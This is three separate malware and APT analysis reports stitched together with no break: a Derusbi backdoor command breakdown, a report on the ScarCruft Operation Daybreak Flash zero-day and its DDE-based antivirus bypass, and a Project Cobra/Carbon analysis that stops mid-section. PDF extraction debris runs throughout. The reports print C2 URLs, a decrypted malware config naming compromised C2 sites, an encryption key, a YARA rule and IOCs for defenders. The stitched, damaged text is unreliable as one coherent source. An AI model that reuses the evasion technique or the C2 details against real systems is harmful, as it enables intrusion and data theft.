PCC_FILE is derived from the PCC_BASEMOD class meaning that the processing of commands should be contained within the PCC_FILE::ProcessPacket member function with some additional processing done in the PCC_FILE::ReadWaitingData member function.
This is not necessarily the case, however.
The PCC_FILE::ProcessPacket member function, much like PCC_CMD::ProcessPacket, is little more than a stub function that passes only a copy of the payload data (pkt) to PCC_FILE::ProcessPacketEx.
PCC_FILE::ProcessPacketEx performs no file management operations but instead adds any incoming command packets to a queue for processing by PCC_FILE::ReadWaitingData if the packet is not already within the queue (thus avoiding duplication of commands).
The PCC_FILE::ReadWaitingData member function is a stub function that calls PCC_FILE::ProcessQueue and returns the resulting packet from the queue processing.
This means that file operations are surprisingly low priority, and potentially, high latency operations.
Each packet that arrives within the packet queue of PCC_FILE contains a standard header followed by a (quasi-optional) payload data blob.
The header for the PCC_FILE command packets takes the following form: struct PCCFilePacketHeader  DWORD dwTotalPayloadSize DWORD dwCommandType  The dwCommandType field specifies the specific PCC_FILE command that the client is requesting the server variant to perform.
PCC_FILE supports 17 (of which 15 are unique) commands.
While the general form within the Derusbi server variant communication model is to return a packet with the same dwCommandType as the original command, many of the PCC_FILE commands return a status packet type (dwCommandType  0x04).
dwCommandType Functionality Response dwCommandType 0x0C Purge PCC_FILE Commands from Queue Based on dwCommandType (no response) 0x10 Enumerate Attached Drives 0x10 0x14 Get File Attributes 0x14 0x18 File Search 0x18 0x1C Rename File 0x04 0x20 Delete File 0x04 0x24 Create Directory 0x04 0x28 Upload File to Client 0x28 and 0x04 0x2C Recursively Enumerate Directory 0x2C 0x30 Download File from Client 0x04 0x34 Copy File 0x04 0x38 Move File 0x04 0x3C Duplicate File Timestamp 0x04 0x40 Execute File 0x04 0x44 Recursively Enumerate Directory 0x44 0x48 Recursively Enumerate Directory 0x48 0x4C Enumerate All Drives and Files 0x4C Commands 0x2C, 0x44, and 0x48 all appear to be the exact same base command with only slight variations in their response format.
It is unclear why this particular command is included three times in PCC_FILE.
PCC_PROXY The PCC_PROXY object provides the platform for a tunneling network traffic to and from the client to a specific endpoint (or endpoints if multiple tunnels are activated by the client).
Derived on the PCC_BASEMOD class, the PCC_PROXY class performs very little network tunneling within the CommLoop interactive PCC_PROXY::ProcessPacket and PCC_PROXY::ReadWaitingData member functions.
The PCC_PROXY::ProcessPacket member function queues incoming PCC_PROXY packets into a received queue while PCC_PROXY::ReadWaitingData returns packets from a transmit queue, with the directionality from the perspective of the server variant.
The core of the PCC_PROXYs network tunneling comes from a spawned processing thread (PCC_PROXY::MainThread) that is generated when the PCC_PROXY object is instantiated.
The PCC_PROXY::MainThread function consist an infinite loop that only terminates when the PCC_PROXY::fShutdown flag is set.
Otherwise, the loop will inspect another internal flag (PCC_PROXY::fNetworkEnabled) to determine if the network tunneling is currently active.
If the PCC_PROXY::fNetworkEnabled flag is set to false, then tunneling is disabled but command processing continues.
It is possible to have more than one tunnel active at any given time.
In order to firewall tunnels from each other over the backbone of the server variants command channel, each tunnel is assigned a specific channel identifier.
This allows the client to specify which specific tunnel data is transmitted to as well as telling the client which tunnel is returning data.
If the PCC_PROXY::fNetworkEnabled flag is set to true, PRC_PROXY::MainThread will loop through all active channels, perform a select on the socket connected to the endpoint and -- if the select indicates that there is data waiting on a particular socket -- the data is read.
A new PCC_PROXY based packet is then generated and the packet is queued for delivery to the client.
After processing each of the channels for new data, PCC_PROXY::MainThread processes incoming command packets from the client (an operation usually handled by the PCC_BASEMOD::ProcessPacket function).
Packets belonging to the PCC_PROXY subsystem have a common header, much like the other PCC_BASEMOD derived classes.
To this end, the PCC_PROXY packets have the same packet header as the PCCFilePacketHeader packet header.
The PCC_PROXY supports five commands: dwCommandType Functionality 0x04 Connect to Specified Endpoint (Creates New Channel) 0x08 Send Data to Endpoint 0x0C Terminate Channel 0x10 Enable Network Tunneling (PCC_PROXY::fNetworkEnabled set to true) 0x14 Disable Network Tunneling (PCC_PROXY::fNetworkEnabled set to false) Administrative Commands The administrative commands are built-in to the server variant and are not derived from the PCC_BASEMOD class.
Each of the administrative command packets contains the same header structure as the PCCFilePacketHeader structure followed by an optional payload data blob.
The administrative commands consist of the following five commands: dwCommandType Functionality 0x08 Terminate the current network connection between the client and the server variant.
0x10 Run the Cleanup member function of each of the registered PCC_BASEMOD derived objects, effectively resetting the state of each of the modules.
0x14 Write infection ID to the registry and immediately terminate the server variant.
0x18 Shutdown the server variant (set fShutdown to true) 0x1C Drop a new DLL to TEMP\tmp1.dat, load the DLL into memory and call DllRegisterServer to install a new server variant binary on the victims system.
Detection Given the encrypted, and potentially compressed, nature of Derusbi server variant network traffic, detecting the traffic on a network can be problematic using traditional IDS signatures.
Using a heuristic approach, it would be possible to detect the handshake of a possible Derusbi server variant session by looking for the following pattern: Client Server Exactly 64 bytes transmitted Exactly 64 bytes transmitted First 8 bytes taking the pattern of 0x28 0x00 0x00 0x00 0x02 0x00 0x00 0x00 Detecting Derusbi server variants on disk is possible using the following YARA signature: rule Derusbi_Server  strings: uuid  93144EB0-8E3E-4591-B307-8EEBFE7DB28F wide ascii infectionID1  -s-03d infectionID2  -03d other  ZwLoadDriver condition: uuid or (infectionID1 and infectionID2 and other)
Flash zero-day exploit deployed by the ScarCruft APT Group securelist.com/blog/research/75100/operation-daybreak/ Earlier this year, we deployed new technologies in Kaspersky Lab products to identify and block zero-day attacks.
This technology already proved its effectiveness earlier this year, when it caught an Adobe Flash zero day exploit (CVE-2016-1010).
Earlier this month, our technology caught another zero-day Adobe Flash Player exploit deployed in targeted attacks.
We believe the attacks are launched by an APT Group we track under the codename ScarCruft.
ScarCruft is a relatively new APT group victims have been observed in Russia, Nepal, South Korea, China, India, Kuwait and Romania.
The group has several ongoing operations, utilizing multiple exploits  two for Adobe Flash and one for Microsoft Internet Explorer.
Operation Daybreak appears to have been launched by ScarCruft in March 2016 and employs a previously unknown (0-day) Adobe Flash Player exploit.
It is also possible that the group deployed another zero day exploit, CVE-2016-0147, which was patched in April.
This exploit caught by our technologies highlights a few very interesting evasion methods, some of which we havent seen before.
We describe them below.
Operation Daybreak general information Operation Daybreak appears to have been launched by unknown attackers to infect high profile targets through spear-phishing e-mails.
To date, we have observed more than two dozen victims for these attacks.
Although the exact attack vector remains unknown, the targets appear to receive a malicious link which points to a hacked website where the exploitation kit is hosted.
The hacked web server hosting the exploit kit is associated with the ScarCruft APT and used in another line of attacks.
Certain details, such as using the same infrastructure and targeting, make us believe that Operation Daybreak is being done by the ScarCruft APT group.
The ScarCruft APT group is a relatively new player and managed to stay under the radar for some time.
In general, their work is very professional and focused.
Their tools and techniques are well above the average.
Prior to the discovery of Operation Daybreak, we observed the ScarCruft APT launching a series of attacks in Operation Erebus.
Operation Erebus leverages another Flash Player exploit (CVE-2016-4117) through the use of watering hole attacks.
In the case of Operation Daybreak, the hacked website hosting the exploit kit performs a couple of browser checks before redirecting the visitor to a server controlled by the attackers hosted in Poland.
The main exploit page script contains a BASE64 decoder, as well as rc4 decryption implemented in JS.
The parameters sent to the ap.php script are randomly generated on each hit, so the second stage payload gets 1/7 https://securelist.com/blog/research/75100/operation-daybreak/ https://securelist.com/blog/research/73255/the-mysterious-case-of-cve-2016-0034-the-hunt-for-a-microsoft-silverlight-0-day/ https://cdn.securelist.com/files/2016/06/scarcruft_eng_1.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_2.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_3.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_4.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_5.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_6.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_7.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_8.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_9.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_10.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_11.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_12.png encrypted differently each time.
This prevents easy detection by MD5 or signatures of the second stage payload.
The exploitation process consists of three Flash objects.
The Flash object that triggers the vulnerability in Adobe Flash Player is located in second SWF delivered to the victim.
At the end of the exploitation chain, the server sends a legitimate PDF file to user  china.pdf.
The china.pdf file shown to the victims in the last stage of the attack seems to be written in Korean: Decoy document shown to victims The document text talks about disagreements between China and The North over nuclear programs and demilitarization.
Vulnerability technical details The vulnerability (CVE-2016-4171) is located in the code which parses the ExecPolicy metadata information.
This is what the structure looks like: This structure also contains an array of item_info structures: The documentation says the following about these structures: The item_info entry consists of item_count elements that are interpreted as key/value pairs of indices into the string table of the constant pool.
If the value of key is zero, this is a keyless entry and only carries a value.
In the exploit used by the ScarCruft group, we have the following item_info structures: Item_info array in exploit object The code that triggers the vulnerability parses this structure and, for every key and value members, tries to get the respective string object from string constant pool.
The problem relies on the fact that the .key and .value members are used as indexes without any kind of boundary checks.
It is easy to understand that if key or value members are larger than string constant pool array, a memory corruption problem appears.
It is also important to mention that this members (value, key) are directly read from SWF object, so an attacker can easily use them to implement arbitrary read/write operations.
2/7 Getting object by index from constant pool without any checks Using this vulnerability, the exploit implements a series of writes at specified addresses to achieve full remote code execution.
Bypassing security solutions through DDE The Operation Daybreak attack employs multiple stages, which are all outstanding in some way.
One of them attracted our attention because it implements a bypass for security solutions we have never seen before.
In the first stage of the attack, the decrypted shellcode executed by the exploit downloads and executes a special DLL file.
This is internally called yay_release.dll: 3/7 Second stage DLL internal name and export The code of this module is loaded directly into the exploited application and has several methods of payload execution.
One of method uses a very interesting technique of payload execution which is designed mostly to bypass modern anti-malware products.
This uses an interesting bug in the Windows DDE component.
It is not a secret that anti-malware systems trigger on special system functions that are called in the context of potential vulnerable applications to make a deeper analysis of API calls such as CreateProcess, WinExec or ShellExecute.
For instance, such defense technologies trigger if a potentially vulnerable application such as Adobe Flash starts other untrusted applications, scripts interpreters or even the command console.
To make execution of payload invisible for these defense systems, the threat actors used the Windows DDE interface in a very clever way.
First, they register a special window for it: In the window procedure, they post WM_DDE_EXECUTE messages with commands: Sending WM_DDE_EXECUTE message to window The attackers used the following commands: 4/7 The main idea here is that if you create a LNK to an executable or command, then use the ShowGroup method, the program will be executed.
This is an undocumented behavior in Microsoft Windows.
In our case, a malicious VBS was executed, which installs a next stage payload stored in CAB file: Malicious VBS used in the attack We have reported this creative abuse of DDE to Microsofts security team.
The final payload of the attack is a CAB file with the following MD5: 8844a537e7f533192ca8e81886e70fbc The MS CAB file (md5: 8844a537e7f533192ca8e81886e70fbc) contains 4 malicious DLL files: MD5 Filename 5/7 a6f14b547d9a7190a1f9f1c06f906063 cfgifut.dll e51ce28c2e2d226365bc5315d3e5f83e cldbct.dll 067681b79756156ba26c12bc36bf835c cryptbase.dll f8a2d4ddf9dc2de750c8b4b7ee45ba3f msfte.dll The file cldbct.dll (e51ce28c2e2d226365bc5315d3e5f83e) connects to the following C2: hXXp://webconncheck.myfw[.
]us:8080/8xrss.php The modules are signed by an invalid digital certificates listed as Tencent Technology (Shenzhen) Company Limited with serial numbers, copied from real Tencent certificates: 5d 06 88 f9 04 0a d5 22 87 fc 32 ad ec eb 85 b0 71 70 bd 93 cf 3f 18 9a e6 45 2b 51 4c 49 34 0e Invalid digital signature on malware samples The malware deployed in this attack is extremely rare and apparently reserved only for high profile victims.
Our products detect it as well as other malware from ScarCruft as HEUR:Trojan.
Win32.ScarCruft.gen.
Victims: Although our visibility is rather limited, some of the victims of these attacks include: A law enforcement agency in an Asian country One of the largest trading companies in Asia and in the world A mobile advertising and app monetization company in the USA Individuals related to the International Association of Athletics Federations A restaurant located in one of the top malls in Dubai Some of these were compromised over the last few days, indicating the attackers are still very active.
Conclusions: Nowadays, in-the-wild Flash Player exploits are becoming rare.
This is because in most cases they need to be coupled with a Sandbox bypass exploit, which makes them rather tricky.
Additionally, Adobe has been doing a great job at implementing new mitigations to make exploitation of Flash Player more and more difficult.
Nevertheless, resourceful threat actors such as ScarCruft will probably continue to deploy zero-day exploits against their high profile targets.
As usual, the best defense against targeted attacks is a multi-layered approach.
Windows users should combine traditional anti-malware technologies with patch management, host intrusion detection and, ideally, whitelisting and 6/7 default-deny strategies.
According to a study by the Australian DSD, 85 of the targeted attacks analysed could have been stopped by four simple defense strategies.
While its impossible to achieve 100 protection, in practice and most cases all you have to do is increase your defenses to the point where it becomes too expensive for the attacker  who will just give up and move on to other targets.
Kaspersky products detect flash exploit as HEUR:Exploit.
SWF.Agent.gen also our AEP (Automatic Exploit Prevention) component can successfully detect this attack.
Payloads are detected with HEUR:Trojan.
Win32.ScarCruft.gen verdict.
More information about the ScarCruft APT group is available to customers of Kaspersky Intelligent Services.
Indicators of compromise: Malicious IPs and hostnames: 212.7.217[.
]10 reg.flnet[.
]org webconncheck.myfw[.
]us MD5s: 3e5ac6bbf108feec97e1cc36560ab0b6 a6f14b547d9a7190a1f9f1c06f906063 e51ce28c2e2d226365bc5315d3e5f83e 067681b79756156ba26c12bc36bf835c f8a2d4ddf9dc2de750c8b4b7ee45ba3f 8844a537e7f533192ca8e81886e70fbc 7/7 https://securelist.com/blog/software/69887/how-to-mitigate-85-of-threats-with-only-four-strategies/ http://www.kaspersky.com/business-security/entrp/apt Flash zero-day exploit deployed by the ScarCruft APT Group Operation Daybreak general information Vulnerability technical details Bypassing security solutions through DDE Victims: Conclusions: Indicators of compromise: Malicious IPs and hostnames: MD5s:
Analysis of Project Cobra Project Cobra and the Carbon System were mentioned by Kaspersky in the article called The Epic Turla Operation .
This malware is used by the same actors as Uroburos (aka Snake/Turla) and Agent.
BTZ.
We estimate that Carbon System was developed after Agent.
BTZ and before Uroburos.
The Carbon System shares some technical details with Uroburos and Agent.
BTZ (encryption key, encryption algorithm, design, ) and some other links, such as the name of the snake-related project: Cobra.
Uroburos could be considered as a kernel centric snake and Cobra Carbon System as a userland centric snake.
One specification of the group behind this threat is the fact that when they developed new tools, the old ones are not destroyed or abandoned but still maintained and used.
Thanks to our collection of samples we are able to draw the following timeline: The Cobra can be considered as an extensible framework.
This framework is generally downloaded and dropped by a reconnaissance malware for example Tavdig, aka Wipbot (Symantec) or also Epic Backdoor (Kaspersky).
The following schema illustrates the modus opandi used by the Uroburos actors: https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F01_20152Fgraphics_01_20152Fcobra_01_ascii_time_en_v1.pngmd54937c3d989fd2573841fc3b4bc5e5cb127622805parameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D http://securelist.com/analysis/publications/65545/the-epic-turla-operation/ Using IOC (Indicators of Compromise) to detect this malware is quite complicated, because the malware authors made efforts to randomize many factors.
For example, the attackers drop the malware into different directories, using the files present, also chosen randomly, to store the malware configuration.
Due to these characteristics, the experts of the G DATA SecurityLabs decided to publish an analysis of the framework dropped by the file with the md5: cb1b68d9971c2353c2d6a8119c49b51f.
G DATA security solutions detect this file as Backdoor.
TurlaCarbon.
A (Engine A) and Win32.Trojan.
Cobra.
B (Engine B).
We can find the compilation path in a file embedded in the dropper:f:\Workshop\Projects\cobra\carbon_system\x64\Release\carbon_system.pdb Looking at this, we can easily identify that Carbon System is a part of the Cobra project.
Dropper The dropper is used to install four files on the infected system.
The dropped files are stored in the resources of the binary.
The dropper has the 32-bit and the 64-bit version of the executable files embedded.
It installs the following files: miniport.dat: configuration file stage 1: the file name is randomly chosen from ipvpn.dll,srsvc.dll or kmsvc.dll.
This library is registered as a service stage 2: the file name is msimghlp.dll.
Its the orchestrator of the malware (called system by the author) stage 3: the file name is msximl.dll.
This library (called user by the authors) is injected in the https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F01_20152Fgraphics_01_20152Fcobra_02_ascii_choice_en_v1.pngmd505809e4d90da38434743138d6e1fc8776ba22873parameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D browsers and the email clients in order to communicate to the outside via web requests.
The persistence is performed by the creation of a service (HKLM\SYSTEM\CurrentControlSet\Service\).
The service name depends on the chosen stage 1 file name: File Name Service Name Display Name Description (CopyPaste from the binary) ipvpn.dll ipvpn Virtual Private Network Routing Service Provides enchanced network management while active VPN connection established.
Support All necessary functions and maintain dynamic table rules.
Enforcement technologies that use virtual networks may not function properly without this service srsvc.dll srservice System Restore Service Performs system restore functions.
To stop service, turn off System Restore from the System Restore tab in My Computer.
kmsvc.dll hkmsvc Health Key and Certificate Management Service Provides X.509 certificate and key management services for the Network Access Protection Agent (NAPAgent).
Enforcement technologies that use X.509 certificates may not function properly without this service The descriptions reveal spelling mistakes and the sentence structure may indicate that the texts have been written by non-native speakers.
Stage 1 is always installed in SystemRoot\system32\ To install something into SystemRoot, the attackers have to have gained administration privileges before they executed the dropper.
The three other dropped files are stored in an existing directory in ProgramFiles, randomly chosen.
During the installation, executed in a command line, the dropper displays the following information: The screenshot shows the string LUCKY STRIKE, displayed in case the installation was carried out https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F01_20152Fgraphics_01_20152Fcobra_03_dropper_installation.pngmd53dad94243445eae460a7d7f8639dd680141f20e8parameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D successfully and Idioten??
?
in case of any installation error.
To be able to find the random installation path, the dropper modifies a legitimate .inf file (also chosen randomly) in SystemRoot\inf\ to add the following information to the end of the file: [B8744A58]rootC:\Program Files\Windows NT\Accessoiries\en-US The ID between the brackets is a unique ID and the root variable contains the path in which the three additional files are installed.
The tricks put in place by the authors  random file names and random installation paths  are used to limit the detection possible with Indicators of Compromise.
Generally, security researchers use these kinds of artifacts in order to detect the compromise of systems.
Stage 1: loader MD5: 43e896ede6fe025ee90f7f27c6d376a4G DATA security solutions detect this as Backdoor.
TurlaCarbon.
A (Engine A) and     Win32.Trojan.
Cobra.
A (Engine B).
The first stage is rather small as the number of instructions and actions is rather small.
Simply spoken, its purpose is to load the second stage.
To perform this task, the first stage checks all of the files in SystemRoot\inf\ in order to find the entry with the unique ID previously mentioned and therefore to determine the path for stage 2.
After that, the library of the second stage is loaded and, subsequently, the exported function ModuleStart() is executed: Stage 2: the orchestrator Md5: e6d1dcc6c2601e592f2b03f35b06fa8f Version: 3.71 G DATA security solutions detect this threat as Backdoor.
TurlaCarbon.
A (Engine A) and Win32.Trojan.
Cobra.
B (Engine B).
The second stage is called system by the authors of the malware.
The internal name of the library is carbon_system.dll.
The purpose of this code is to stay in background and orchestrate several requests and tasks made by the other .dlls or named pipe connections.
Mutex creation The orchestrator creates several mutexes.
These mutexes are used for two reasons: used by the third stage in order to detect whether the orchestrator has been launched correctly on the infected system used to execute the orchestrator only once.
Here are the created mutexes: Global\MSCTF.Shared.
MUTEX.zRX Global\DBWindowsBase Global\IEFrame.
LockDefaultBrowser Global\WinSta0_DesktopSessionMut Global\5FA3BC02-920F-D42A-68BC-04F2A75BE158 Global\SENS.LockStarterCacheResource Global\ShimSharedMemoryLock Working files and directories Here are the working files and directories used by the orchestrator.
The orchestrator creates one single random path and then stores all necessary folders mentioned under this one randomly generated path: randompath\Nls\: directory related to the tasks to be executed randompath\0208\: directory related to the temporary files randompath\System\: directory related to the additional plugins randompath\System\bootmisc.sdi: seems not to be used randompath\0208\C_56743.NLS: files related to the tasks to be executed and the plugins randompath\Nls\b9s3coff.ax: files related to the tasks to be executed and the named pipe randompath\Nls\a67ncodc.ax: file related to the tasks to be executed randompath\vndkrmn.dic: log file randompath\qavsrc.dat: log file randompath\miniport.dat: configuration file randompath\asmcerts.rs: purpose currently unknown randompath\getcert.rs: purpose currently unknown The files are not automatically created during the startup of the malware.
The files are created only if the orchestrator needs them.
Configuration file The configuration file (miniport.dat) is used by the second and the third stage.
The file is encrypted with the CAST-128 algorithm, the same algorithm that has been used by Uroburos to encrypt the file systems.
The encryption key is: 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0xfe, 0xfc,  0xba, 0x98, 0x76, 0x54, 0x32, 0x10 Note: following the logic, 0xfc would be expected to be 0xdc.
Here is an example of the configuration file: paulgdata:/Carbon/ ./decrypt.py miniport.dat [NAME] object_idacce6511-ba11-fa11-f0047d1 iproc  iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe ex  ,netscape.exe,mozilla.exe,adobeupdater.exe,chrome.exe [TIME] user_winmin  1800000 user_winmax  3600000 sys_winmin  3600000 sys_winmax  3700000 task_min  20000 task_max  30000 checkmin  60000 checkmax  70000 logmin   60000 logmax  120000 lastconnect1419925298 http://en.wikipedia.org/wiki/CAST-128 timestop active_con  900000 time2task3600000 check_lastconnect1419925298 [CW_LOCAL] quantity  0 [CW_INET] quantity  4 address1  soheylistore.ir:80:/modules/mod_feed/feed.php address2  tazohor.com:80:/wp-includes/feed-rss-comments.php address3  jucheafrica.com:80:/wp-includes/class-wp-edit.php address4  61paris.fr:80:/wp-includes/ms-set.php [CW_INET_RESULTS] quantity  4 address1  soheylistore.ir:80:/modules/mod_feed/feed.php address2  tazohor.com:80:/wp-includes/feed-rss-comments.php address3  jucheafrica.com:80:/wp-includes/class-wp-edit.php address4  61paris.fr:80:/wp-includes/ms-set.php [TRANSPORT] system_pipe  comnap spstatus  yes adaptable  no [DHCP] server  135 [LOG] logperiod  7200 lastsend1419924312 [WORKDATA] run_task run_task_system [VERSION] System3/71 User3/62 The websites listed in [CW_INET] and [CW_INET_RESULTS] are all compromised legitimate WordPress websites.
By the time of writing this article, all websites have been cleaned and patched.
The file format is the same as the .ini file format from Windows.
The authors use the Windows API to parse the configuration (GetPrivateProfileStringA()).The file contains: A unique ID to identify the infected machine (object_id) The command and control server used by stage 3 (addressX) The version of the system and the user library (in [VERSION]) The frequency and time of execution of several internal tasks ([TIME]) The name of the named pipe used as communication channel between the system and the user (system_pipe) The process name where stage 3 will be injected (iproc)  Communication via named pipes The orchestrator creates two named pipes in order to communicate with stage 3 or to receive messages from an external machine: \\.\\pipe\sdlrpc \\.\\pipe\comnap (the name in the configuration file) Features The orchestrator creates nine threads in order to handle the different features.
We will now have a look at the most interesting threads.
One thread is used to check if the parameters in the configuration file have changed.
A second thread is used to check the available hard disk space.
If the HDD space is low, the orchestrator generates an entry in the log file: The preceding screenshot reveals a rather interesting use of English, again.
From what we can conclude, we believe Survive me is supposed to mean something like Rescue me in the sense of help me to survive.
A third thread is created in order to handle the tasks.
A task is a command sent from the CC that is to be executed.
The code to be executed is stored locally on the infected machine.
The orchestrator is able to execute libraries (by executing the export start()) or to execute Windows command line.
The command line can be execute with the current user privilege or with the privilege of another user (via CreateProcessA() or CreateProcessAsUserA()): A fourth thread is used to handle the log rotation file (vndkrmn.dic).
A fifth thread is used to create and read the data sent to the named pipes.
A sixth thread is used to load plugins.
For the orchestrator a module is a library file with a specific export called ModuleStart().
The plugin list is stored in the configuration file ([PLUGINS]).
This thread is very similar to the third thread, but is bares some minor differences.
The function to execute the plugins is not the same.
Finally a seventh thread is used to inject stage 3 (msximl.dll) into the browsers and email clients.
The list of the targeted processes is stored in the configuration file: iproc  iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F01_20152Fgraphics_01_20152Fcobra_05_hdd.pngmd53c146e76b5f3c0d04037a3c4eab668da445adad3parameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F01_20152Fgraphics_01_20152Fcobra_06_createprocess.pngmd5e582fe48174c4b8068f719a65d48db7b84c6ceedparameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D As usual, the injected library is executed via the ModuleStart() exports.
Log file The orchestrator and stage 3 generate a shared log file.
The file is encrypted with the same algorithm and the same key as the configuration file.
Here is an example of the content: paulgdata:/Carbon ./decrypt.py infected/vndkrmn.dic [LOG] start1 30/12/1408:28:44acce6511-ba11-fa11-f0047d1sST3/710 30/12/1408:29:50acce6511-ba11-fa11-f0047d1sINJC:\Program Files\Windows Mail\en- US\msximl.dll 30/12/1408:30:28acce6511-ba11-fa11-f0047d1sINJ02204 30/12/1408:30:28acce6511-ba11-fa11-f0047d1uST3/62C:\Program Files\Internet Explorer\iexplore.exe :2204 30/12/1408:30:28acce6511-ba11-fa11-f0047d1uST2204:END 30/12/1408:30:39acce6511-ba11-fa11-f0047d1uW-10ALLNOINET 30/12/1408:30:41acce6511-ba11-fa11-f0047d1uW-10ALLNOINET 30/12/1408:37:18acce6511-ba11-fa11-f0047d1sSTOP3/710 30/12/1408:37:18acce6511-ba11-fa11-f0047d1sSTOPOK 30/12/1408:39:45acce6511-ba11-fa11-f0047d1sST3/710 30/12/1408:41:13acce6511-ba11-fa11-f0047d1sINJC:\Program Files\Windows Mail\en- US\msximl.dll 30/12/1408:41:34acce6511-ba11-fa11-f0047d1sINJ02196 30/12/1408:41:34acce6511-ba11-fa11-f0047d1uST3/62C:\Program Files\Internet Explorer\iexplore.exe :2196 30/12/1408:41:34acce6511-ba11-fa11-f0047d1uST2196:END 30/12/1408:41:35acce6511-ba11-fa11-f0047d1uOPERWrong config: no lastconnect 30/12/1408:41:36acce6511-ba11-fa11-f0047d1uP0NULL0Sleep:41 30/12/1408:41:38acce6511-ba11-fa11-f0047d1uOPERWrong config: no lastconnect 30/12/1408:41:39acce6511-ba11-fa11-f0047d1uW-10tazohor.com:/nrt 30/12/1408:41:40acce6511-ba11-fa11-f0047d1uW-1061paris.fr:/nrt 30/12/1408:41:40acce6511-ba11-fa11-f0047d1uW0NULL0Sleep:1816467 30/12/1408:41:40acce6511-ba11-fa11-f0047d1uP0NULL0Sleep:604 The log format is:DateTimeUnique IDsourcemessage The source can be: S: stands for the orchestrator (or System) U: stands for the injected library (or User).
The format of the message is not always the same.
However, the first part is the executed feature: ST: start (either for the orchestrator or the injected library) the second part of the message is the version (for example 3.71 for the orchestrator and 3.62 for the injected library) and, regarding the injected library, the name of the host process STOP: stop OPER: message for the operator (for example when the disk space is low) W: web requests INJ: injection the second part of the message is the path of the file (lib) used to be injected into e.g.
the browser or the PID L: load library log message S: log rotation message T: message linked to the task execution Stage 3: the injected library Md5: 554450c1ecb925693fedbb9e56702646 Version: 3.62 This threat is detected by G DATA security solutions as Backdoor.
TurlaCarbon.
A (Engine A) and Win32.Trojan.
Cobra.
B (Engine B).
Stage 3 is called user by the authors.
The internal name of the library is CARBON.dll.
The purpose of this stage is to communicate to the outside via web requests.
The communication is used to ex-filtrate data and to receive orders (or plugins or code to execute).
Mutex check The first task of stage 3 is to check whether the mutexes created by the orchestrator are available or not, to make sure the orchestrator has started correctly: Check of the Internet connection Before communicating with the command and control server, stage 3 checks whether an Internet connection is available by contacting: www.google.com www.yahoo.com www.bing.com update.microsoft.com windowsupdate.microsoft.com microsoft.com In case the connection does not work, the following message is written into the log file:uW-10ALLNOINET Communication to the command  controls The communication to the operators is performed via the URL stored in the configuration file.
Firstly, the malware performs a GET request in order to identify whether the CC is up and running.
If the first query is a success, a second request is sent to the CC with the difference that some data is included into an HTTP Cookie.
The content of the cookie is catid, task, id, forumid, itemid, link, layout, start, limit (none of the parameters is mandatory).
The data sent in this cookie is encrypted, using the CAST-128 algorithm, and encoded.
